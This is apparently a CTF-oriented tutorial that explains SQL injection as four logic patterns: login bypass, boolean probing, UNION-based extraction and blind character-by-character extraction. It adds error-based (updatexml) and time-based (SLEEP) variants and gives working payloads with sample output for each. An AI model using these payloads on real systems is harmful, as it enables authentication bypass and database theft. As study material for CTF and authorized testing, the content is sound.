跪拜 Guibai
← Back to the summary

SQL Injection Is Just Four Math Tricks

This article only explains technical principles and defense ideas. All examples are for authorized testing or CTF competition learning. Unauthorized testing of others' systems is illegal; please do not use them for illegal purposes.

Preface: Why can't you write the 101st payload after memorizing 100?

90% of SQL injection tutorials online teach "prescriptions":

If you follow along, you can indeed get results. But the problem is: change the scenario, change the database, change the CTF challenge, and you're unsure what to try again.

Because you are memorizing words, not understanding grammar.

What this article aims to do is break down the consistent mathematical logic behind SQL injection for you. You will find:

This approach is "bottom-up" — first understand the foundation (mathematical logic), then look at the buildings on the ground (various injection techniques). With a solid foundation, nothing built on top will go wrong.


Chapter 1: Learning just four sentences covers 90% of injection scenarios

Forget about databases, function names, and syntax details for now. We only learn four logical skeletons.

The mathematical ideas corresponding to these four sentences are:

No. Logical Skeleton Mathematical Essence One-sentence Human Explanation
OR True Predicate Logic — OR operation short-circuit "Either the condition is met, or what I say is always right"
AND False Predicate Logic — AND operation lie detection "I add a false condition; does the page change?"
UNION SELECT Set Theory — Union operation "Stick my data behind your data"
AND + SUBSTRING character-by-character breakdown Predicate Logic + Assertion Traversal "Guess a character; if correct, the page is normal"

The first and second sentences are logical cornerstones; the fourth is a specific application of the second. You'll see how they connect later.

Mastering these four sentences already covers the four core schools: Union injection, Boolean blind injection, Error-based injection, and Time-based blind injection. The rest is just swapping function names for different databases (like changing SLEEP to pg_sleep), the logic remains unchanged.


First Sentence: OR True — Logical Short-Circuit, Bypassing Authentication

Mathematical Essence: A OR True is always True. Regardless of whether A is true or false, as long as OR is followed by an always-true proposition, the entire expression is short-circuited to true.

Practical Scenario: Login box.

The backend query logic is usually like this:

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password'

If data is found, the account and password are correct, allowing login.

Now, you enter in the username field:

admin' OR 1=1 --

After backend concatenation, it becomes:

SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'xxx'

-- is a comment symbol in SQL, which "cuts off" the following AND password. So the actual executed logic is:

SELECT * FROM users WHERE username = 'admin' OR 1=1

Because 1=1 is always true, the condition after OR is permanently true. The entire query condition becomes true, and the database returns the first user record in that table (usually the admin).

Thus, you log in as an administrator without needing the password.

Key Insight: OR 1=1 is not for "fetching data"; it's for breaking the circuit — it invalidates the preceding condition check, forcing the entire query to return true.


Second Sentence: AND False — Logical Lie Detection, Probing for Vulnerabilities

Mathematical Essence: A AND False is always False. Regardless of whether A is true or false, as long as AND is followed by an always-false proposition, the entire expression is "pulled" to false.

Practical Scenario: URL parameter ?id=1, the page displays a product detail.

First, we input:

?id=1 AND 1=1

Because 1=1 is true, the original condition id=1 AND True = True, the page displays the product normally.

Then input:

?id=1 AND 1=2

Because 1=2 is false, the original condition id=1 AND False = False, the page becomes blank or throws an error.

The key conclusion:

The server becomes a truth table display. You ask it a "yes/no" question, and it answers with "normal/blank".

This is the starting point of "Boolean blind injection" — you haven't started stealing data yet, but you already have a lie detector.


Third Sentence: UNION SELECT — Set Union, Sticking Data onto the Page

This is the main weapon when there are echo positions. Its mathematical essence is the union operation in set theory: stacking two result sets vertically into one large table.

But to use UNION, a hard rule must be met first: the queries on both sides must return the same number of columns. This is a fundamental requirement for set union.

Deduction: Getting data step by step

Assume the target URL is http://ctf.target/product?id=1, and the normal page displays the product name and price.

Step 1: Empty the original result set

If the original query returns data, UNION will stick our data below it. To make our data occupy the top of the page exclusively, first make the original query return an empty set:

?id=-1

There is no product with id=-1 in the database, so the original query returns an empty set. Next, Empty Set ∪ Your Data = Your Data, perfect.

Step 2: Count the number of columns (Probe with ORDER BY)

Because UNION requires the left and right column counts to be equal, you first need to know how many columns the original query returns.

Try sequentially:

?id=-1 ORDER BY 1   → Normal
?id=-1 ORDER BY 2   → Normal
?id=-1 ORDER BY 3   → Normal
?id=-1 ORDER BY 4   → Error

ORDER BY sorts by the Nth column; sorting by a non-existent column causes an error. The number that causes the error minus 1 is the column count.

In this example, the error occurs at 4, meaning the original query returns 3 columns.

Step 3: Placeholders, see which columns are displayed on the page

Now you know there are 3 columns, input:

?id=-1 UNION SELECT 1,2,3

The page might show only 2 and 3, with 1 not displayed.

This indicates: the web backend only takes the 2nd and 3rd columns of the result set to render on the page (the 1st column might be used for internal logic, not displayed).

At this point, you have found two "slots" (the 2nd and 3rd columns) where you can stuff any data you want to steal.

Advanced Tip: What if the placeholder doesn't show a number, only a "broken image"?
Change the placeholder from a number to a string, like 'x'. If the letter x appears on the page, this column can carry text data, suitable for stealing passwords; if it's still a broken image, this column can only store data like image paths, abandon it and try another column.
The mathematical meaning of this action is range testing — first figure out what type of data this "slot" can hold, then decide how to use it.

Step 4: Query the catalog table, find the target table and column

You now know the 2nd and 3rd columns can display content, but you still don't know where the flag is hidden.

Every database has its own "catalog tables" recording all table names and column names:

First, query the table name in the display slot:

?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables

The position on the page that originally displayed 2 starts scrolling out a large number of table names. You quickly spot flag_table.

Then check what columns this table has:

?id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='flag_table'

The page displays: flag_col.

Step 5: Harvest the data

?id=-1 UNION SELECT 1, flag_col, 3 FROM flag_table

The 2nd column position prominently shows: flag{SQL_Math_Master}.

Special Case: What if flag_table has hundreds of rows and the page only shows the first row?
Replace flag_col with group_concat(flag_col). This function glues multiple rows of data into a single string, displaying them all at once.


Fourth Sentence: AND + SUBSTRING Character-by-Character Breakdown — The Core of Boolean Blind Injection

Now look back at the second sentence (AND False). We only used it to probe whether a vulnerability exists. But its real power comes after you have the "lie detector" — you start using this lie detector to guess every character in the database.

Mathematical Essence: Extract the character to be guessed and attach it as an "assertion" after AND. If the assertion is true, the page is normal; if false, the page is blank.

Deduction: Character-by-character brute-force decryption

Assume you already know flag_table has flag_col, but the page has no display slots and no error messages. You only have two states: "normal/blank".

Step 1: First determine the length of the target data

?id=1 AND (SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=40

If the page is normal, the length is 40; if blank, continue trying 41, 42...

This step can be optimized with binary search: first try >30, then >35, which is more efficient.

Step 2: Guess characters one by one

You now know the length is 40. Guess the first character:

?id=1 AND (SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a'

Try 'c', 'd'... until you find the correct one, then guess the 2nd, 3rd... until you piece together the complete flag{...}.

Optimization Tip: Trying 26 letters one by one is too slow. Use ASCII codes with binary search:
Ask "Is the ASCII code greater than 100" → normal/blank → halve the range → ask "Is it greater than 110"...
On average, 7 attempts can determine one character, much faster than trying 26 times.


At this point, you have learned the four core skeletons

Review:

  1. OR True → Login bypass, logical short-circuit
  2. AND False → Vulnerability probe + Lie detector
  3. UNION SELECT → Directly stick data when there is an echo
  4. AND + SUBSTRING → Guess character by character using the lie detector when there is no echo

But these four only cover situations with "echo" and "true/false states".

What if the page neither displays data nor distinguishes normal/blank, only throws error messages?
What if the page shows nothing at all, and the only perceivable thing is the network response time?

Chapter 2: When the Page is Silent — Error-Based Injection and Time-Based Blind Injection

The four skeletons in the previous chapter rely on two types of page feedback: data display (UNION) and truth state (AND lie detection).

But there's a more disgusting scenario in CTFs: the page has no display slots and doesn't distinguish between normal and blank — everything looks the same no matter what you input, the only thing you can see is a line of error message, or you can't see anything and can only rely on timing.

These two scenarios are actually simpler mathematically. Because they just change the "output channel": one uses the exception throwing channel, the other uses the time delay channel.


Error-Based Injection: The Exception is the Channel

Scenario Characteristics: The page has no display slots and no "normal/blank" true/false changes. But as soon as you input illegal syntax, the page pops up a line of MySQL error message. The developer did not turn off error prompts.

Mathematical Essence: Splice the target data into a function parameter that inevitably triggers a type error, causing the database to "smuggle" the data out within the error message.

Goal: Get the flag through the error message.

Deduction Begins

Assume the target URL is http://ctf.target/product?id=1. Normal access shows a default product image. Inputting any AND 1=2 causes no page change, but inputting a malformed syntax pops up an error.

Step 1: Confirm the error function is usable

First, use a purely testing error function — updatexml(), which is used to modify the path of an XML document.

?id=1 AND updatexml(1, 0x7e, 1)

0x7e is the hexadecimal representation of the tilde ~, which is not a valid XPath path. If the page error message contains ~, it means the database indeed executed our function and the error message can carry the content we stuffed in.

Page response:

XPATH syntax error: '~'

Confirmed: The error function is usable, and the error message can carry data.

Step 2: Extract the database name

?id=1 AND updatexml(1, concat(0x7e, database()), 1)

database() returns the current database name (e.g., ctf_db), concat glues it with the tilde into ~ctf_db, stuffed into the second parameter of updatexml.

Page response:

XPATH syntax error: '~ctf_db'

Database name obtained.

Step 3: Extract table names (row by row extraction)

Error-based injection has a fatal flaw: it can only "shake out" one row of data at a time. If information_schema.tables has 100 tables, querying directly will cause an error truncation. So you need to use LIMIT to fetch them one by one.

First, fetch the first table:

?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0, 1)), 1)

Page shows ~users. Fetch the second:

?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1, 1)), 1)

Page shows ~products. Continue fetching until flag_table is found.

Step 4: Extract column names

After finding flag_table, check its column names:

?id=1 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0, 1)), 1)

Shakes out flag_col.

Step 5: Extract data

?id=1 AND updatexml(1, concat(0x7e, (SELECT flag_col FROM flag_table LIMIT 0, 1)), 1)

Page shows:

XPATH syntax error: '~flag{SQL_Math_Master}'

Data obtained.

Key Insight of Error-Based Injection:


Time-Based Blind Injection: Time Domain is the Signal

Scenario Characteristics: The page is absolutely static — no display slots, no error messages, no true/false changes. All requests return identical HTTP status codes and page content. The only perceivable difference is the loading spinner time in the bottom right corner of the browser.

Mathematical Essence: Use the "Boolean proposition" to be judged as the condition of an IF statement. If the condition is true, execute a delay function (like sleeping for 5 seconds); if false, return immediately. Use the difference in response time to infer each bit of the data.

Goal: Use a "stopwatch" to measure out the flag bit by bit.

Deduction Begins

Step 1: Confirm the delay function is usable

First, test if the SLEEP() primitive is allowed to execute.

Input:

?id=1 AND IF(1=1, SLEEP(5), 0)

The browser spins for a full 5 seconds before loading.

Then input:

?id=1 AND IF(1=2, SLEEP(5), 0)

The browser loads instantly.

Confirmed: IF(condition, execute_if_true, execute_if_false) works correctly. If the condition is true, it sleeps for 5 seconds; if false, it skips. We have a logical stopwatch.

Step 2: Determine the data length

You guess the flag might be in flag{...} format, length around 40. But you need precision.

Try sequentially:

?id=1 AND IF((SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=30, SLEEP(5), 0)

Waited 5 seconds → Length is 30? No, 30 just matched. Continue trying 31, 32... until it hangs for 5 seconds at 40.

Confirmed length is 40.

Step 3: Guess characters one by one

Now guess the first character. Extract the first character of flag_col and compare it against the alphabet (a-z, 0-9, {, }) one by one.

?id=1 AND IF((SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

Loads instantly → Not 'a'. Try 'b', 'c'... when trying 'f', it hangs for 5 seconds.

The first character is 'f'.

Guess the second character:

?id=1 AND IF((SELECT SUBSTRING(flag_col, 2, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

Try sequentially until the complete flag{...} is pieced together.

Optimization Tip: Binary Search

Trying 26 letters one by one is too slow. Use ASCII codes with binary search to locate a character in 7 attempts.

First ask:

?id=1 AND IF((SELECT ASCII(SUBSTRING(flag_col, 1, 1)) FROM flag_table LIMIT 1)>100, SLEEP(5), 0)

If it hangs for 5 seconds → ASCII code is greater than 100. Then ask >110, then >115... halving the range each time. After 7 attempts, precisely lock the character's ASCII code value.

40 characters × 7 attempts = 280 requests, much faster than 40 × 26 = 1040 attempts.

Key Insight of Time-Based Blind Injection:


Chapter 3: A Unified Framework for Four Types of Channels

Now you have learned the four skeletons + two extended schools. Looking at them together, it becomes clear.

All Injection Techniques Do the Same Thing

Finding an "output side channel".

The database executed your query and got the result. But the result won't actively tell you — you need to find a physical channel you can observe for the database to "spit" the result into.

Channel Type Observation Method Representative Technique Mathematical Essence
Result Set Channel Page displays data UNION SELECT Set Union Projection
Truth Value Channel Page normal/blank AND 1=1 / 1=2 Predicate Truth Table
Exception Channel Error message content updatexml error Type System Conflict
Time Channel Response latency IF + SLEEP Conditional Delayed Execution

Attack Decision Flow

When you face an input point, follow this flow; no need to memorize any payload:

Input Point → Test injection point (single quote) → Confirm execution environment (1=1/1=2)
→ Choose output channel:
   Has display slots? → UNION (Result Set Channel)
   Has error messages? → updatexml (Exception Channel)
   Has true/false states? → AND + SUBSTRING (Truth Value Channel)
   Only time is perceivable? → IF + SLEEP (Time Channel)
→ Construct Payload → Extract Data

Three Ultimate Questions

Facing any injection scenario, you only need to ask yourself three questions:

  1. What feedback can the current page give me?
    Display slots? Error messages? True/false states? Or only response time?

  2. How do I "stuff" the query result into this feedback channel?
    For example, use UNION to stick data into display slots, use concat to splice into error functions for the error channel, use IF to mount delay functions for the time channel.

  3. How much data volume can this channel carry?
    Display a whole row at once? Only one character at a time? At most the first N characters of a row? Based on this, decide whether to use LIMIT to fetch row by row, group_concat to merge, or SUBSTRING to break down character by character.


Final Words

When you master this mathematical framework, facing any input point, your thought process becomes:

Page feedback type → Select corresponding mathematical model → Derive payload structure on the spot

This process is called creation, not memorization.

You don't need to remember what type the second parameter of updatexml is, you don't need to remember the syntax details of extractvalue, you don't need to memorize what tables are in information_schema. You only need to know:

Then go check the documentation, flip through notes, try it on the spot. This is much more effective than memorizing 100 payloads.

Because payloads change, databases change, WAF rules change. But set theory doesn't change, predicate logic doesn't change, mapping relationships don't change.

This is the power of "bottom-up".


Disclaimer

All technical content in this article is solely for cybersecurity enthusiasts to learn CTF competitions and conduct authorized system testing. Unauthorized penetration testing on any production system, third-party website, or personal account is illegal. The author and the publishing platform of this article do not assume any legal liability arising from readers' improper operations. Please comply with the "Cybersecurity Law of the People's Republic of China" and related laws and regulations, and learn technical knowledge under legal and compliant premises.


End of article.